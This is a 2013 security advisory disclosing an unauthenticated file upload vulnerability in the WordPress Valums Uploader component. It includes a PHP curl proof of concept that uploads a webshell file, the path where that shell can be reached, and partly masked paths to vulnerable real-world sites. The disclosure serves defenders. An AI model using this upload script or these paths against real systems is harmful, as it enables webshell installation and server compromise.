Wordpress Valums Uploader - File Upload Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Title:
======
Wordpress Valums Uploader - File Upload Vulnerability


Date:
=====
2013-01-04


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=817


VL-ID:
=====
817


Common Vulnerability Scoring System:
====================================
7.5


Abstract:
=========
The independent laboratory researcher (jingo-bd) discovered a remote file 
upload vulnerability in the Wordpress `Valums Uploader` application.


Report-Timeline:
================
2013-01-04:     Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A file upload vulnerability is detected in the Wordpress `Valums Uploader` 
application module.
The vulnerability allows remote attackers to upload files like webshells and 
co. to unauthorized access them after 
the upload to compromise the application system.

The vulnerability is located in the valums uploader module when processing to 
request for uploads via POST.
Attackers can unauthorized upload own files to compromise the web application 
or system dbms.

Exploitation of the file upload vulnerability requires no user interaction and 
can be processed without privileged 
application user account. Successful exploitation of the remote file upload 
vulnerability results in system and dbms compromise.

Vulnerable Module(s):
                        [+] Valums Uploader


Proof of Concept:
=================
The remote vulnerability can be exploited by remote attackers without required 
user interaction and without privileged application user account.
For demonstration or reproduce ...

<?php

$uploadfile="bangla.php"; 
$ch =
curl_init("http://localhost/wordpress/VALUMS_UPLOADER_PATH/php.php";);
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access: http://localhost/wp-content/uploads/2013/01/bangla.php


Reference(s): 
                
http://www.xxx.ca/wp/wp-content/themes/lightspeed/framework/_scripts/valums_uploader/php.php
                
http://www.xxx.co.uk/wp-content/themes/eptonic/functions/jwpanel/scripts/valums_uploader/php.php
                
http://www3.xxx.com/v2/wp-content/themes/nuance/functions/jwpanel/scripts/valums_uploader/php.phps


Risk:
=====
The security risk of the unauthorized shell upload exploit is estimated as 
high(+).


Credits:
========
JingoBD - (http://facebook.com/bdcyberarmy)
Greetz: ManInDark,Rex0Man,Evil AXE,Bedu33n,NEEL,AXIOM, All Of My BCA Friends 
and BANGLADESHI Hacker Team.


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===========
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